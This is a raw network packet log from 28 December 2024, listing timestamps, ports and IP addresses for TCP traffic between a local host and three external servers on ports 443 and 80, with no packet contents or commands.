Dec 28, 2024 10:03:31.485578060 CET	443	49759	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:31.485660076 CET	49759	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:31.485948086 CET	49759	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:31.485965967 CET	443	49759	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:31.891067982 CET	49760	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:31.891100883 CET	443	49760	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:31.891185999 CET	49760	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:31.891807079 CET	49760	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:31.891819954 CET	443	49760	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:32.697212934 CET	443	49759	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:32.697303057 CET	49759	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:32.698604107 CET	49759	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:32.698612928 CET	443	49759	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:32.698852062 CET	443	49759	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:32.700160980 CET	49759	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:32.700205088 CET	49759	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:32.700227022 CET	443	49759	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:34.358830929 CET	443	49760	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:34.358946085 CET	49760	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:34.360588074 CET	49760	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:34.360599041 CET	443	49760	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:34.360843897 CET	443	49760	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:34.362077951 CET	49760	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:34.362134933 CET	49760	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:34.362139940 CET	443	49760	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:34.362260103 CET	49760	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:34.407326937 CET	443	49760	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:34.587460041 CET	443	49759	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:34.587555885 CET	443	49759	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:34.587622881 CET	49759	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:34.587790012 CET	49759	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:34.587812901 CET	443	49759	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:34.587827921 CET	49759	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:34.587836027 CET	443	49759	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:34.589538097 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:34.709053040 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:34.709161043 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:34.709332943 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:34.828828096 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:34.913461924 CET	443	49760	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:34.914007902 CET	443	49760	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:34.914087057 CET	49760	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:34.914302111 CET	49760	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:34.914324999 CET	443	49760	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:34.914344072 CET	49760	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:36.040529013 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.040554047 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.040568113 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.040657997 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.040666103 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.040669918 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.040682077 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.040698051 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.040709019 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.040709972 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.040723085 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.040724039 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.040745974 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.040841103 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.040879011 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.161536932 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.166100025 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.166146994 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.166256905 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.215811014 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.233623981 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.233812094 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.233886957 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.236803055 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.236929893 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.236984015 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.245173931 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.245244026 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.245315075 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.253551006 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.253675938 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.257605076 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.261930943 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.262044907 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.262114048 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.270349026 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.270466089 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.270529985 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.278675079 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.278772116 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.278830051 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.287044048 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.287136078 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.287197113 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.295406103 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.295536995 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.295603037 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.303924084 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.303966999 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.304066896 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.312128067 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.356440067 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.400892019 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.401153088 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.401221991 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.405059099 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.424760103 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.424855947 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.424915075 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.426968098 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.427150965 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.427213907 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.431699038 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.431777954 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.431840897 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.436228991 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.436352968 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.436414957 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.440803051 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.440921068 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.440984011 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.445477962 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.445564032 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.445616007 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.450114012 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.450196028 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.450213909 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.454699039 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.454778910 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.454812050 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.459322929 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.459403992 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.459441900 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.463963985 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.464042902 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.464062929 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.468581915 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.468683958 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.468755007 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.473198891 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.473308086 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.473404884 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.477801085 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.477936029 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.477991104 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.482451916 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.482525110 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.482568026 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.487082005 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.487236977 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.487325907 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.491738081 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.491806984 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.491889954 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.496285915 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.496407986 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.496503115 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.500967979 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.501041889 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.501686096 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.505599976 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.505748034 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.505781889 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.559588909 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.592916965 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.592988014 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.593039036 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.595047951 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.595169067 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.595211983 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.599520922 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.616713047 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.616772890 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.617103100 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.617773056 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.617816925 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.617840052 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.621161938 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.621193886 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.621218920 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.624641895 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.624697924 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.624739885 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.628123045 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.628181934 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.628221989 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.631731033 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.631762028 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.631792068 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.635087967 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.635190964 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.635199070 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.638464928 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.638606071 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.638662100 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.641944885 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.641989946 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.642071009 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.645267963 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.645337105 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.645386934 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.645529985 CET	49772	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:36.645572901 CET	443	49772	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:36.645678997 CET	49772	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:36.646271944 CET	49772	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:36.646281958 CET	443	49772	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:36.648616076 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.648665905 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.648751974 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.652076006 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.652122974 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.652123928 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.655370951 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.655417919 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.655457020 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.658786058 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.658833027 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.658883095 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.662169933 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.662219048 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.662259102 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.665612936 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.665658951 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.665664911 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.668889046 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.668971062 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.669024944 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.672328949 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.672374964 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.672391891 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.675677061 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.675721884 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.675806999 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.679060936 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.679105997 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.679133892 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.682499886 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.682543039 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.682576895 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.685847998 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.685893059 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.685946941 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.689260006 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.689306974 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.689344883 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.692595005 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.692641020 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.692711115 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.696042061 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.696085930 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.696145058 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.699382067 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.699438095 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.699471951 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.702800035 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.702846050 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.702910900 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.706162930 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.706209898 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.706293106 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.709548950 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.709595919 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.709642887 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.712902069 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.712951899 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.784867048 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.784939051 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.785032988 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.786459923 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.786560059 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.786633968 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.789618969 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.789680004 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.789740086 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.792700052 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.792803049 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.793600082 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.795717001 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.795772076 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.795826912 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.808499098 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.808511019 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.808576107 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.809730053 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.810233116 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.810302973 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.810365915 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.812805891 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.812864065 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.812906027 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.815460920 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.815522909 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.815561056 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.817981005 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.818047047 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.818075895 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.820482969 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.820554018 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.820595026 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.823038101 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.823101044 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.823121071 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.825480938 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.825542927 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.825581074 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.827877045 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.827941895 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.827964067 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.830266953 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.830332041 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.830411911 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.832621098 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.832685947 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.832730055 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.834976912 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.835052013 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.835063934 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.837281942 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.837377071 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.837399006 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.839577913 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.839644909 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.839677095 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.841820002 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.841878891 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.841882944 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.844075918 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.844136953 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.844227076 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.846345901 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.846406937 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.846441984 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.848606110 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.848664045 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.848700047 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.850878954 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.850939035 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.850969076 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.853202105 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.853259087 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.853269100 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.855403900 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.855459929 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.855504036 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.857666016 CET	80	49766	185.215.113.16	192.168.2.6
